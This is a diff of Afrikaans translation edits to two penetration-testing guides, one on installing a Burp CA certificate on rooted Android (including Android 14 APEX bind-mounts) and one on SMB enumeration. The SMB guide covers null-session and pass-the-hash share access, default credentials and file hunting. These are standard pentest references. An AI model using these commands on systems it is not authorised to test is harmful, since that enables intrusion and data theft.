-Konfigureer 'n globale HTTP proxy sodat alle apps verkeer deur jou interceptor (Burp/mitmproxy) stuur:
+Konfigureer 'n globale HTTP-proxy sodat alle apps verkeer deur jou interceptor (Burp/mitmproxy) gaan:
 ```bash
 # Set proxy (device/emulator must reach your host IP)
 adb shell settings put global http_proxy 192.168.1.2:8080
@@ -13,20 +13,20 @@ adb shell settings put global http_proxy 192.168.1.2:8080
 # Clear proxy
 adb shell settings put global http_proxy :0
 ```
-Wenk: In Burp bind jou luisteraar aan 0.0.0.0 sodat toestelle op die LAN kan koppel (Proxy -> Options -> Proxy Listeners).
+Tip: In Burp bind jou listener aan 0.0.0.0 sodat toestelle op die LAN kan koppel (Proxy -> Options -> Proxy Listeners).
 
 ## Op 'n Virtuele Masjien
 
-Eerstens moet jy die Der-sertifikaat vanaf Burp aflaai. Jy kan dit doen in _**Proxy**_ --> _**Options**_ --> _**Import / Export CA certificate**_
+Eerstens moet jy die Der certificate van Burp aflaai. Jy kan dit doen in _**Proxy**_ --> _**Options**_ --> _**Import / Export CA certificate**_
 
 ![](<../../images/image (367).png>)
 
-**Voer die sertifikaat uit in Der-formaat** en kom ons **transformeer** dit na 'n formaat wat **Android** gaan kan **begryp.** Let op dat **om die Burp-sertifikaat op die Android-masjien in AVD te konfigureer** jy hierdie masjien **met** die **`-writable-system`** opsie moet **begin.**\
+**Export the certificate in Der format** en kom ons **transformeer** dit na 'n vorm wat **Android** gaan kan **begryp.** Neem kennis dat **in order to configure the burp certificate on the Android machine in AVD** jy hierdie masjien moet **run** **with** die **`-writable-system`** opsie.\
-Byvoorbeeld kan jy dit so begin:
+Byvoorbeeld kan jy dit soos volg begin:
 ```bash
 C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -http-proxy 192.168.1.12:8080 -writable-system
 ```
-Dan, om **die Burp-sertifikaat te konfigureer**, doen:
+Dan, om **burps sertifikaat te konfigureer, doen**:
 ```bash
 openssl x509 -inform DER -in burp_cacert.der -out burp_cacert.pem
 CERTHASHNAME="`openssl x509 -inform PEM -subject_hash_old -in burp_cacert.pem | head -1`.0"
@@ -37,15 +37,15 @@ adb shell mv /sdcard/$CERTHASHNAME /system/etc/security/cacerts/ #Move to correc
 adb shell chmod 644 /system/etc/security/cacerts/$CERTHASHNAME #Assign privileges
 adb reboot #Now, reboot the machine
 ```
-Sodra die **masjien klaar herlaai is** sal die Burp-sertifikaat deur dit gebruik word!
+Sodra die **masjien klaar herbegin het** sal die Burp-sertifikaat deur dit gebruik word!
 
-## Gebruik van Magisc
+## Using Magisc
 
-As jy **jou toestel met Magisc geroot het** (miskien 'n emulator), en jy **kan nie** die vorige **stappe** volg om die Burp-sertifikaat te installeer omdat die **lêerstelsel slegs-lees** is en jy dit nie kan remount om dit skryfbaar te maak nie, is daar 'n ander manier.
+As jy jou toestel **met Magisc geroot** het (miskien 'n emulator), en jy **kan nie** die vorige **stappe** volg om die Burp-sertifikaat te installeer omdat die **lêerstelsel is read-only** en jy dit nie na skryfbaar kan heraanmerk nie, is daar 'n ander manier.
 
-In [**hierdie video**](https://www.youtube.com/watch?v=qQicUW0svB8) word dit verduidelik: jy moet:
+Soos verduidelik in [**this video**](https://www.youtube.com/watch?v=qQicUW0svB8) moet jy:
 
-1. **Installeer 'n CA certificate**: Net **drag&drop** die DER Burp-sertifikaat en **verander die uitbreiding** na `.crt` op die toestel sodat dit in die Downloads folder gestoor word en gaan na `Install a certificate` -> `CA certificate`
+1. **Install a CA certificate**: Just **drag&drop** the DER Burp certificate **changing the extension** to `.crt` in the mobile so it's stored in the Downloads folder and go to `Install a certificate` -> `CA certificate`
 
 <figure><img src="../../images/image (53).png" alt="" width="164"><figcaption></figcaption></figure>
 
@@ -53,27 +53,27 @@ In [**hierdie video**](https://www.youtube.com/watch?v=qQicUW0svB8) word dit ver
 
 <figure><img src="../../images/image (54).png" alt="" width="334"><figcaption></figcaption></figure>
 
-2. **Maak dit System trusted**: Laai die Magisc-module [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (ʼn .zip-lêer) af, **drag&drop dit** in die telefoon, gaan na die **Magics app** op die telefoon na die **`Modules`**-afdeling, klik op **`Install from storage`**, kies die `.zip`-module en sodra dit geïnstalleer is **herbegin** die telefoon:
+2. **Make it System trusted**: Download the Magisc module [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (a .zip file), **drag&drop it** in the phone, go to the **Magics app** in the phone to the **`Modules`** section, click on **`Install from storage`**, select the `.zip` module and once installed **reboot** the phone:
 
 <figure><img src="../../images/image (55).png" alt="" width="345"><figcaption></figcaption></figure>
 
-- Nadat jy herbegin het, gaan na `Trusted credentials` -> `SYSTEM` en kontroleer dat die Postswigger-sertifikaat daar is
+- Na die herbegin, gaan na `Trusted credentials` -> `SYSTEM` en kontroleer of die Postswigger-sertifikaat daar is
 
 <figure><img src="../../images/image (56).png" alt="" width="314"><figcaption></figcaption></figure>
 
-### Leer hoe om 'n Magisc-module te skep
+### Learn how to create a Magisc module
 
-Kyk na [https://medium.com/@justmobilesec/magisk-for-mobile-pentesting-rooting-android-devices-and-building-custom-modules-part-ii-22badc498437](https://medium.com/@justmobilesec/magisk-for-mobile-pentesting-rooting-android-devices-and-building-custom-modules-part-ii-22badc498437)
+Check [https://medium.com/@justmobilesec/magisk-for-mobile-pentesting-rooting-android-devices-and-building-custom-modules-part-ii-22badc498437](https://medium.com/@justmobilesec/magisk-for-mobile-pentesting-rooting-android-devices-and-building-custom-modules-part-ii-22badc498437)
 
-## Na Android 14
+## Post Android 14
 
-In die nuutste Android 14-uitgawe is daar 'n beduidende verandering waargeneem in die hantering van system-trusted Certificate Authority (CA) certificates. Voorheen is hierdie sertifikate bewaar in **`/system/etc/security/cacerts/`**, toeganklik en wysigbaar vir gebruikers met root-regte, wat onmiddellike toepassing deur die stelsel toegelaat het. Met Android 14 is die stoorplek egter verskuif na **`/apex/com.android.conscrypt/cacerts`**, 'n gids binne die **`/apex`**-pad, wat inherente onveranderlikheid het.
+In die nuutste Android 14 vrystelling is daar 'n beduidende verskuiwing in die hantering van stelsel-vertroude Certificate Authority (CA) sertifikate. Voorheen is hierdie sertifikate in **`/system/etc/security/cacerts/`** gehou, toeganklik en veranderbaar deur gebruikers met root-regte, wat onmiddellike toepassing oor die stelsel toegelaat het. Met Android 14 is die stoorplek egter verskuif na **`/apex/com.android.conscrypt/cacerts`**, 'n gids binne die **`/apex`**-pad, wat van aard onveranderlik is.
 
-Pogings om die **APEX cacerts path** as skryfbaar te remount misluk, aangesien die stelsel sulke operasies nie toelaat nie. Selfs pogings om die gids te unmount of te oorlaai met 'n tydelike lêerstelsel (tmpfs) om die onveranderlikheid te omseil, omseil dit nie die probleem nie; toepassings bly steeds toegang tot die oorspronklike sertifikaatdata hê ongeag veranderinge op die lêerstelselvlak. Hierdie veerkragtigheid is te danke aan die feit dat die **`/apex`**-mount geconfigureer is met PRIVATE propagation, wat verseker dat enige wysigings binne die **`/apex`**-gids nie ander prosesse beïnvloed nie.
+Pogings om die **APEX cacerts path** as skryfbaar te heraanmerk misluk, aangesien die stelsel sulke bewerkings nie toelaat nie. Selfs pogings om die gids te unmount of met 'n tydelike lêerstelsel (tmpfs) te oorlaai om die onveranderlikheid te omseil, werk nie; toepassings bly die oorspronklike sertifikaatdata benader ongeag veranderinge op die lêerstelselvlak. Hierdie veerkragtigheid is te wyte aan die feit dat die **`/apex`**-mount gekonfigureer is met PRIVATE propagation, wat verseker dat enige wysigings binne die **`/apex`**-gids nie ander prosesse beïnvloed nie.
 
-Die initialisering van Android behels die `init`-proses wat, by die begin van die bedryfstelsel, ook die Zygote-proses inisieer. Hierdie proses is verantwoordelik vir die bekendstelling van toepassingsprosesse met 'n nuwe mount namespace wat 'n private **`/apex`**-mount insluit, en sodoende veranderinge aan hierdie gids van ander prosesse isoleer.
+Die inisialisering van Android behels die `init`-proses wat, wanneer die bedryfstelsel begin, ook die Zygote-proses inisieer. Hierdie proses is verantwoordelik vir die loods van toepassingsprosesse met 'n nuwe mount namespace wat 'n private **`/apex`**-mount insluit, en sodoende veranderinge aan hierdie gids van ander prosesse isoleer.
 
-Nietemin bestaan daar 'n ompad vir diegene wat die system-trusted CA-sertifikate binne die **`/apex`**-gids moet wysig. Dit behels handmatige remounting van **`/apex`** om die PRIVATE propagation te verwyder, sodat dit skryfbaar word. Die proses sluit in om die inhoud van **`/apex/com.android.conscrypt`** na 'n ander ligging te kopieer, die **`/apex/com.android.conscrypt`**-gids te unmount om die lees-alleen-beperking te verwyder, en dan die inhoud terug te plaas na hul oorspronklike ligging binne **`/apex`**. Hierdie benadering vereis vinnige optrede om stelselbotsings te voorkom. Om stelselwye toepassing van hierdie veranderinge te verseker, word dit aanbeveel om die `system_server` te herbegin, wat effektief alle toepassings herbegin en die stelsel na 'n konsekwente toestand bring.
+Nietemin bestaan daar 'n workaround vir dié wat die stelsel-vertroude CA-sertifikate binne die **`/apex`**-gids wil wysig. Dit behels die handmatige heraanmerking van **`/apex`** om die PRIVATE propagation te verwyder, sodat dit skryfbaar word. Die proses sluit in om die inhoud van **`/apex/com.android.conscrypt`** na 'n ander ligging te kopieer, die **`/apex/com.android.conscrypt`**-gids te unmount om die read-only beperking op te hef, en daarna die inhoud terug te sit na hul oorspronklike ligging binne **`/apex`**. Hierdie benadering vereis vinnige optrede om stelselbotsings te vermy. Om te verseker dat die veranderinge stelselwyd toegepas word, word dit aanbeveel om die `system_server` te herbegin, wat effektief alle toepassings herbegin en die stelsel na 'n konsekwente toestand bring.
 ```bash
 # Create a separate temp directory, to hold the current certificates
 # Otherwise, when we add the mount we can't read the current certs anymore.
@@ -133,24 +133,24 @@ echo "System certificate injected"
 ```
 ### Bind-mounting deur NSEnter
 
-1. **Opstel van 'n Skryfbare Gids**: Aanvanklik word 'n skryfbare gids geskep deur 'n `tmpfs` oor die bestaande non-APEX stelselsertifikaatgids te mount. Dit word bereik met die volgende opdrag:
+1. **Opstel van 'n Skryfbare Gids**: Aanvanklik word 'n skryfbare gids geskep deur 'n `tmpfs` oor die bestaande non-APEX stelsel sertifikaatgids te mount. Dit word bereik met die volgende opdrag:
 ```bash
 mount -t tmpfs tmpfs /system/etc/security/cacerts
 ```
-2. **Voorbereiding van CA-sertifikate**: Nadat die skryfbare gids opgestel is, moet die CA-sertifikate wat gebruik gaan word in hierdie gids gekopieer word. Dit kan insluit om die standaardsertifikate vanaf `/apex/com.android.conscrypt/cacerts/` te kopieer. Dit is noodsaaklik om die toegangsregte en SELinux-etikette van hierdie sertifikate ooreenkomstig aan te pas.
+2. **Voorbereiding van CA certificates**: Na die opstel van die skryfbare gids moet die CA certificates wat jy wil gebruik na hierdie gids gekopieer word. Dit kan behels dat jy die standaard sertifikate van `/apex/com.android.conscrypt/cacerts/` kopieer. Dit is noodsaaklik om die toestemmings en SELinux-labels van hierdie sertifikate dienooreenkomstig aan te pas.
-3. **Bind-mounting vir Zygote**: Deur `nsenter` te gebruik, betree mens Zygote se mount-naamruimte. Zygote, die proses wat verantwoordelik is vir die opstart van Android-toepassings, vereis hierdie stap om te verseker dat alle toepassings wat van nou af begin die nuut gekonfigureerde CA-sertifikate gebruik. Die opdrag wat gebruik word, is:
+3. **Bind Mounting vir Zygote**: Deur `nsenter` te gebruik, betree 'n mens Zygote se mount namespace. Zygote, die proses wat verantwoordelik is vir die begin van Android-toepassings, vereis hierdie stap om te verseker dat alle toepassings wat van nou af begin die nuut gekonfigureerde CA certificates gebruik. Die opdrag wat gebruik word is:
 ```bash
 nsenter --mount=/proc/$ZYGOTE_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
 ```
-Dit verseker dat elke nuwe app wat begin die opgedateerde CA certificates-opstelling sal toepas.
+Dit verseker dat elke nuwe app wat begin, die opgedateerde CA certificates-opstelling sal volg.
 
-4. **Toepassing van veranderinge op lopende apps**: Om die veranderinge op reeds lopende apps toe te pas, word `nsenter` weer gebruik om in elke app se namespace afsonderlik in te gaan en 'n soortgelyke bind mount uit te voer. Die nodige opdrag is:
+4. **Wysigings op lopende apps toepas**: Om die wysigings op reeds lopende apps toe te pas, word `nsenter` weer gebruik om elke app se namespace individueel binne te gaan en 'n soortgelyke bind mount uit te voer. Die nodige opdrag is:
 ```bash
 nsenter --mount=/proc/$APP_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
 ```
-5. **Alternative Approach - Soft Reboot**: 'n Alternatiewe metode behels die uitvoer van die bind mount op die `init` proses (PID 1), gevolg deur 'n soft reboot van die bedryfstelsel met die `stop && start` opdragte. Hierdie benadering sal die veranderinge oor alle namespaces versprei, sodat dit nie nodig is om elke lopende app afsonderlik aan te spreek nie. Hierdie metode word egter oor die algemeen minder verkies weens die ongerief van herbegin.
+5. **Alternatiewe benadering - Sagte herbegin**: 'n Alternatiewe metode behels om die bind mount op die `init`-proses (PID 1) uit te voer, gevolg deur 'n sagte herbegin van die bedryfstelsel met die `stop && start`-kommando's. Hierdie benadering sal die veranderinge oor alle namespaces toepas, en die behoefte om elke lopende app individueel aan te spreek, vermy. Hierdie metode is egter oor die algemeen minder verkies weens die ongerief van herbegin.
 
-## Verwysings
+## References
 
 - [Android 14: Install a system CA certificate on a rooted device](https://httptoolkit.com/blog/android-14-install-system-ca-certificate/)
 - [Build a Repeatable Android Bug Bounty Lab: Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools)

src/network-services-pentesting/pentesting-smb/README.md

@@ -2,46 +2,45 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## **Port 139**
+## **Poort 139**
 
-Die _**Network Basic Input Output System**_** (NetBIOS)** is 'n sagtewareprotokol wat ontwerp is om toepassings, rekenaars en desktops binne 'n plaaslike netwerk (LAN) in staat te stel om met netwerkhardware te kommunikeer en **die oordrag van data oor die netwerk te vergemaklik**. Die identifikasie en ligging van sagtewaretoepassings wat op 'n NetBIOS-netwerk werk, word bewerkstellig deur hul NetBIOS-name, wat tot 16 karakters lank kan wees en dikwels verskil van die rekenaarnaam. 'n NetBIOS-sessie tussen twee toepassings word geïnisieer wanneer een toepassing (wat as die kliënt optree) 'n opdrag gee om 'n ander toepassing (wat as die bediener optree) te "call" deur gebruik te maak van **TCP Port 139**.
+Die _**Network Basic Input Output System**_** (NetBIOS)** is 'n sagtewareprotokol wat ontwerp is om toepassings, rekenaars en desktops binne 'n lokale netwerk (LAN) in staat te stel om met netwerkhardeware te kommunikeer en **die oordrag van data oor die netwerk te fasiliteer**. Die identifikasie en ligging van sagtewaretoepassings wat op 'n NetBIOS-netwerk bedryf word, word deur hul NetBIOS names bereik, wat tot 16 karakters lank kan wees en dikwels verskil van die rekenaarnaam. 'n NetBIOS-sessie tussen twee toepassings word geïnisieer wanneer een toepassing (optredend as die client) 'n opdrag gee om "call" na 'n ander toepassing (optredend as die server) te rig deur gebruik te maak van **TCP Port 139**.
 ```
 139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
 ```
 ## Port 445
 
-Tegnies verwys Port 139 na ‘NBT over IP’, terwyl Port 445 geïdentifiseer word as ‘SMB over IP’. Die akroniem **SMB** staan vir ‘**Server Message Blocks**’, wat ook modern bekend is as die **Common Internet File System (CIFS)**. As 'n toepassingslaag-netwerkprotokol word SMB/CIFS hoofsaaklik gebruik om gedeelde toegang tot lêers, drukkers en seriële poorte te verleen, en om verskeie vorme van kommunikasie tussen nodes op 'n netwerk te fasiliteer.
+Tegnieks gesproke word Port 139 verwys as ‘NBT over IP’, terwyl Port 445 as ‘SMB over IP’ geïdentifiseer word. Die akroniem **SMB** staan vir ‘**Server Message Blocks**’, wat ook modern as die **Common Internet File System (CIFS)** bekend staan. As 'n application-layer netwerkprotokol word SMB/CIFS hoofsaaklik gebruik om gedeelde toegang tot lêers, drukkers, seriële poorte te verskaf en verskeie vorme van kommunikasie tussen nodes op 'n netwerk te fasiliteer.
 
-Byvoorbeeld, in die konteks van Windows word beklemtoon dat SMB direk oor TCP/IP kan werk deur gebruik te maak van port 445, wat die behoefte aan NetBIOS oor TCP/IP uitskakel. Omgekeerd word by ander stelsels die gebruik van port 139 waargeneem, wat aandui dat SMB in samewerking met NetBIOS oor TCP/IP uitgevoer word.
+Byvoorbeeld, in die konteks van Windows word beklemtoon dat SMB direk oor TCP/IP kan werk, wat die behoefte aan NetBIOS oor TCP/IP oortollig maak deur gebruik te maak van poort 445. In teenstelling daarmee, op ander stelsels word poort 139 gebruik, wat aandui dat SMB saam met NetBIOS oor TCP/IP uitgevoer word.
 ```
 445/tcp   open  microsoft-ds  Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
 ```
 ### SMB
 
-Die **Server Message Block (SMB)**-protokol, wat in 'n **client-server**-model werk, is ontwerp om **toegang tot lêers**, gidse en ander netwerkbronne soos printers en routers te reguleer. Dit word hoofsaaklik binne die **Windows**-bedryfstelselreeks gebruik. SMB verseker agterwaartse versoenbaarheid, sodat toestelle met nuwer weergawes van Microsoft se bedryfstelsel naatloos met toestelle wat ouer weergawes gebruik kan kommunikeer. Boonop bied die **Samba**-projek 'n gratis sagteware-oplossing wat die implementering van SMB op **Linux**- en Unix-stelsels moontlik maak en sodoende kruisplatformkommunikasie via SMB vergemaklik.
+Die **Server Message Block (SMB)** protokol, wat in 'n **kliënt-bediener** model werk, is ontwerp om **toegang tot lêers**, gidse, en ander netwerkhulpbronne soos drukkers en routers te reël. Hoofsaaklik gebruik binne die **Windows** bedryfstelselreeks, verseker SMB agterwaartse versoenbaarheid, wat toestelle met nuwer weergawes van Microsoft's bedryfstelsel toelaat om naatloos met dié wat ouer weergawes gebruik te kommunikeer. Verder bied die **Samba** projek 'n gratis sagteware-oplossing wat die implementering van SMB op **Linux** en **Unix** stelsels moontlik maak, en sodoende kruis-platform kommunikasie deur SMB vergemaklik.
 
-Shares, wat **willekeurige dele van die plaaslike lêerstelsel** verteenwoordig, kan deur 'n SMB-bediener aangebied word, wat die hiërargie vir 'n kliënt sigbaar maak wat gedeeltelik **onafhanklik** is van die werklike struktuur van die bediener. Die **Access Control Lists (ACLs)**, wat **toegangsregte** definieer, laat vir **fynkorrelige beheer** oor gebruikerspermissies toe, insluitend eienskappe soos **`execute`**, **`read`**, en **`full access`**. Hierdie permissies kan gebaseer op die shares aan individuele gebruikers of groepe toegekên word en is apart van die plaaslike permissies wat op die bediener ingestel is.
+Shares, wat **willekeurige dele van die plaaslike lêerstelsel** verteenwoordig, kan deur 'n SMB bediener aangebied word, wat die hiërargie vir 'n kliënt sigbaar maak en deels onafhanklik van die bediener se werklike struktuur kan wees. Die Access Control Lists (ACLs), wat toegangregte definieer, laat fynkorrelbeheer oor gebruikerspermisse toe, insluitend attribuut soos `execute`, `read`, en `full access`. Hierdie permissies kan aan individuele gebruikers of groepe toegewys word, gebaseer op die shares, en verskil van die plaaslike permissies wat op die bediener gestel is.
 
 ### IPC$ Share
 
-Toegang tot die IPC$ share kan verkry word via 'n anonieme null session, wat interaksie met dienste wat deur named pipes blootgestel word moontlik maak. Die nutsprogram `enum4linux` is nuttig hiervoor. As dit behoorlik gebruik word, stel dit in staat om die volgende te bekom:
+Toegang tot die IPC$ share kan verkry word deur 'n anonieme null session, wat interaksie met dienste wat via named pipes blootgestel word, toelaat. Die hulpmiddel `enum4linux` is nuttig vir hierdie doel. Korrekt gebruik, stel dit in staat om die verkryging van:
 
 - Inligting oor die bedryfstelsel
 - Besonderhede oor die ouer-domein
-- 'n Samestelling van plaaslike gebruikers en groepe
+- 'n samestelling van plaaslike gebruikers en groepe
 - Inligting oor beskikbare SMB shares
-- Die geldende stelsel-sekuriteitsbeleid
+- Die geldende stelselsekuriteitsbeleid
 
-Hierdie funksionaliteit is noodsaaklik vir netwerkadministrateurs en sekuriteitspraktisyns om die sekuriteitstoestand van SMB (Server Message Block)-dienste op 'n netwerk te evalueer. `enum4linux` bied 'n omvattende oorsig van die teikenstelsel se SMB-omgewing, wat noodsaaklik is om potensiële kwesbaarhede te identifiseer en te verseker dat die SMB-dienste behoorlik beveilig is.
+Hierdie funksionaliteit is krities vir netwerkadministrateurs en sekuriteitsprofessionals om die sekuriteitsposisie van SMB (Server Message Block) dienste op 'n netwerk te beoordeel. `enum4linux` bied 'n omvattende oorsig van die teikenstelsel se SMB-omgewing, wat noodsaaklik is om potensiële kwesbaarhede te identifiseer en te verseker dat die SMB-dienste behoorlik beveilig is.
 ```bash
 enum4linux -a target_ip
 ```
-Die bogenoemde opdrag is 'n voorbeeld van hoe `enum4linux` gebruik kan word om 'n full enumeration teen 'n teiken gespesifiseer deur `target_ip` uit te voer.
+Die bogenoemde opdrag is 'n voorbeeld van hoe `enum4linux` gebruik kan word om 'n volledige enumerasie teen 'n teiken wat deur `target_ip` gespesifiseer word uit te voer.
 
 ## Wat is NTLM
 
-As jy nie weet wat NTLM is nie of as jy wil weet hoe dit werk en hoe om dit te misbruik, sal jy hierdie bladsy oor **NTLM** baie interessant vind, waarin verduidelik word **hoe hierdie protokol werk en hoe jy dit kan uitbuit:**
+As jy nie weet wat NTLM is nie, of jy wil weet hoe dit werk en hoe om dit te misbruik, sal jy hierdie bladsy oor **NTLM** baie interessant vind, waarin verduidelik word **hoe hierdie protokol werk en hoe jy dit in jou voordeel kan benut:**
-
 
 {{#ref}}
 ../../windows-hardening/ntlm/
@@ -49,16 +48,16 @@ As jy nie weet wat NTLM is nie of as jy wil weet hoe dit werk en hoe om dit te m
 
 ## **Server Enumeration**
 
-### **Scan** a network op soek na hosts:
+### **Scan** 'n netwerk op soek na hosts:
 ```bash
 nbtscan -r 192.168.0.1/24
 ```
 ### SMB-bedienerweergawe
 
-Om na moontlike exploits vir die SMB-bedienerweergawe te soek, is dit belangrik om te weet watter weergawe gebruik word. As hierdie inligting nie in ander gebruikte gereedskap verskyn nie, kan jy:
+Om moontlike exploits vir die SMB-weergawe te soek, is dit belangrik om te weet watter weergawe gebruik word. As hierdie inligting nie in ander gebruikte gereedskap verskyn nie, kan jy:
 
 - Gebruik die **MSF** auxiliary module `**auxiliary/scanner/smb/smb_version**`
-- Of hierdie skrip:
+- Of hierdie script:
 ```bash
 #!/bin/sh
 #Author: rewardone
@@ -80,10 +79,10 @@ echo "" && sleep .1
 msf> search type:exploit platform:windows target:2008 smb
 searchsploit microsoft smb
 ```
-### **Moontlike Kredensiale**
+### **Moontlike** Kredensiale
 
-| **Gebruikersnaam(s)** | **Algemene wagwoorde**                   |
+| **Gebruikersnaam(e)** | **Common passwords**                      |
-| --------------------- | ---------------------------------------- |
+| -------------------- | ----------------------------------------- |
 | _(leeg)_            | _(leeg)_                                 |
 | guest                | _(blank)_                                 |
 | Administrator, admin | _(blank)_, password, administrator, admin |
@@ -120,7 +119,7 @@ rpcclient -U "username%passwd" <IP> #With creds
 /usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
 /usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
 ```
-### Enumerate Users, Groups & Logged On Users
+### Enumereer Gebruikers, Groepe & Aangemelde Gebruikers
 
 Hierdie inligting behoort reeds deur enum4linux en enum4linux-ng versamel te wees.
 ```bash
@@ -150,28 +149,28 @@ use auxiliary/scanner/smb/smb_lookupsid
 set rhosts hostname.local
 run
 ```
-### **Enumerering van LSARPC en SAMR rpcclient**
+### **Enumerasie van LSARPC en SAMR rpcclient**
 
 
 {{#ref}}
 rpcclient-enumeration.md
 {{#endref}}
 
-### GUI-verbinding vanaf Linux
+### GUI-verbinding vanaf linux
 
 #### In die terminal:
 
 `xdg-open smb://cascade.htb/`
 
-#### In die lêerblaaier-venster (nautilus, thunar, ens.)
+#### In die lêerblaaier-venster (nautilus, thunar, etc)
 
 `smb://friendzone.htb/general/`
 
 ## Enumerasie van gedeelde vouers
 
-### Lys gedeelde vouers
+### Lys van gedeelde vouers
 
-Dit word altyd aanbeveel om te kyk of jy enige toegang het. As jy nie credentials het nie, probeer om **null** **credentials/guest user** te gebruik.
+Dit word altyd aanbeveel om te kyk of jy toegang tot enigiets het. As jy nie credentials het nie, probeer om **null** **credentials/guest user** te gebruik.
 ```bash
 smbclient --no-pass -L //<IP> # Null user
 smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
@@ -185,7 +184,7 @@ crackmapexec smb <IP> -u '' -p '' --shares #Null user
 crackmapexec smb <IP> -u 'username' -p 'password' --shares #Guest user
 crackmapexec smb <IP> -u 'username' -H '<HASH>' --shares #Guest user
 ```
-### **Koppel/Lys ’n gedeelde vouer**
+### **Koppel/Lys 'n gedeelde vouer**
 ```bash
 #Connect using smbclient
 smbclient --no-pass //<IP>/<Folder>
@@ -197,11 +196,11 @@ smbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # Recursive
 smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive list
 smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash
 ```
-### **Handmatig opnoem van Windows shares en daaraan koppel**
+### **Manueel Windows shares opnoem en daaraan koppel**
 
-Dit kan wees dat jy beperk is om enige shares van die gasheer-masjien te vertoon, en wanneer jy probeer om hulle te lys, lyk dit asof daar geen shares is om te koppel nie. Dit kan dus die moeite werd wees om kortliks te probeer om manueel aan 'n share te koppel. Om die shares manueel op te noem, wil jy kyk na antwoorde soos NT_STATUS_ACCESS_DENIED en NT_STATUS_BAD_NETWORK_NAME wanneer jy 'n geldige session gebruik (bv. null session of valid credentials). Dit kan aandui of die share bestaan en jy nie toegang daartoe het nie, of die share bestaan glad nie.
+Dit is moontlik dat jy beperk is om enige shares van die gasheer te wys, en wanneer jy probeer om dit op te lys, lyk dit asof daar geen shares is om aan te koppel nie. Dit kan dus die moeite werd wees om kortliks te probeer om manueel aan 'n share te koppel. Om die shares manueel op te noem, wil jy moontlik na antwoorde soos NT_STATUS_ACCESS_DENIED en NT_STATUS_BAD_NETWORK_NAME kyk wanneer 'n geldige sessie gebruik word (bv. null session of valid credentials). Hierdie kan aandui of die share bestaan en jy nie toegang daartoe het nie, of die share bestaan glad nie.
 
-Common share names for windows targets are
+Common share names for Windows targets are
 
 - C$
 - D$
@@ -212,14 +211,14 @@ Common share names for windows targets are
 - SYSVOL
 - NETLOGON
 
-(Common share names from _**Network Security Assessment 3rd edition**_)
+(Common share-names uit _**Network Security Assessment 3rd edition**_)
 
-Jy kan probeer om daarmee te verbind deur die volgende kommando te gebruik
+Jy kan probeer om daaraan te koppel deur die volgende kommando te gebruik
 ```bash
 smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
 smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)
 ```
-of hierdie script (met 'n null session)
+of hierdie skrip (gebruik 'n null session)
 ```bash
 #/bin/bash
 
@@ -241,7 +240,7 @@ voorbeelde
 smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
 smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
 ```
-### **Lys netwerkshares vanaf Windows / sonder gereedskap van derde partye**
+### **Enumereer shares vanaf Windows / sonder derdeparty-instrumente**
 
 PowerShell
 ```bash
@@ -253,7 +252,7 @@ get-smbshare -CimSession "<computer name or session object>"
 # Retrieves the connections established from the local SMB client to the SMB servers.
 Get-SmbConnection
 ```
-CMD-konsol
+CMD konsole
 ```shell
 # List shares on the local computer
 net share
@@ -267,16 +266,16 @@ fsmgmt.msc
 # Computer Management: Computer Management > System Tools > Shared Folders > Shares
 compmgmt.msc
 ```
-explorer.exe (grafies), tik `\\<ip>\` om die beskikbare nie-verborgde shares te sien.
+explorer.exe (grafies), voer `\\<ip>\` in om die beskikbare nie-verborgde shares te sien.
 
-### Mount 'n shared folder
+### Monteer 'n gedeelde gids
 ```bash
 mount -t cifs //x.x.x.x/share /mnt/share
 mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
 ```
-### **Download files**
+### **Laai lêers af**
 
-Lees die vorige afdelings om te leer hoe om verbinding te maak met credentials/Pass-the-Hash.
+Lees die vorige afdelings om te leer hoe om met credentials/Pass-the-Hash te verbind.
 ```bash
 #Search a file and download
 sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
@@ -295,12 +294,12 @@ Opdragte:
 
 - mask: spesifiseer die mask wat gebruik word om die lêers binne die gids te filter (bv. "" vir alle lêers)
 - recurse: skakel rekursie aan (standaard: af)
-- prompt: skakel die prompting vir lêernaam uit (standaard: aan)
+- prompt: skakel die bevestiging vir bestandsname af (standaard: aan)
-- mget: kopieer alle lêers wat aan die mask voldoen van die host na die kliëntmasjien
+- mget: kopieer alle lêers wat by die mask pas vanaf die host na die client machine
 
-(_Inligting uit die manpage van smbclient_)
+(_Inligting vanaf die manpage van smbclient_)
 
-### Soektog na gedeelde vouers op die domein
+### Soektog na gedeelde domeinvouers
 
 - [**Snaffler**](https://github.com/SnaffCon/Snaffler)
 ```bash
@@ -312,51 +311,51 @@ Snaffler.exe -s -d domain.local -o snaffler.log -v data
 ```bash
 sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
 ```
